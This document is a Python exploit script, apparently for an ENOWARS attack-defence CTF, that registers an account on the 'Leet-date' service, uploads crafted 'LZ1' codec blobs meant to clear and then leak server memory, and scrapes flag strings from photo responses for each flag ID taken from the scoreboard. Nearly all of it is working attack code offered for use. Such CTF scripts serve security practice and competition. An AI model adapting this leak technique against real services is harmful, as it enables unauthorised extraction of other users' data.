#!/usr/bin/env python3

from exploitfarm import *
from exploitfarm import session as Session

import json
import re
import requests
import secrets

host = get_host()
URL = f"http://{host}:6789"
SERVICE = "Leet-date"
ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789"
FLAG_RE = re.compile(rb"ENO[A-Za-z0-9+/=]{48}")
seen = set()

def random_string():
    return "".join(secrets.choice(ALPHABET) for _ in range(16))

def get_flag_ids():
    ticks = requests.get("https://10.enowars.com/scoreboard/attack.json").json().get("services")[SERVICE].get(host, {})
    return [flag_id for tick in ticks for slot in ticks[tick] for flag_id in ticks[tick][slot]]

def clear_blob():
    return b"LZ1\x00" + b"\x00\x00" * 65536

def leak_blob():
    return b"LZ1\x00" + b"\x01\xff\xff\xff\xff"

def run(flag_id):
    flag_handle = json.loads(flag_id)["handle"]
    response = session.get(f"{URL}/api/users/{flag_handle}")
    if response.status_code != 200:
        return
    for photo in response.json()["photos"]:
        session.get(f"{URL}/api/photos/{clear_id}")
        response = session.get(f"{URL}{photo['url']}")
        if response.headers.get("Cache-Control") != "no-store":
            continue
        response = session.get(f"{URL}/api/photos/{photo_id}")
        for flag in FLAG_RE.findall(response.content):
            flag = flag.decode()
            if flag not in seen:
                seen.add(flag)
                print(flag)

flag_ids = get_flag_ids()
if flag_ids:
    session = Session()
    attacker_handle = random_string()
    session.post(f"{URL}/api/register", json={"handle": attacker_handle, "display_name": attacker_handle, "password": random_string()})
    response = session.post(f"{URL}/api/me/photos", data={"format": "codec", "content_type": "image/png"}, files={"file": ("x.ldz", clear_blob(), "application/octet-stream")})
    if response.status_code != 201:
        exit()
    clear_id = response.json()["id"]
    response = session.post(f"{URL}/api/me/photos", data={"format": "codec", "content_type": "image/png"}, files={"file": ("x.ldz", leak_blob(), "application/octet-stream")})
    if response.status_code == 201:
        photo_id = response.json()["id"]
        for flag_id in flag_ids:
            run(flag_id)
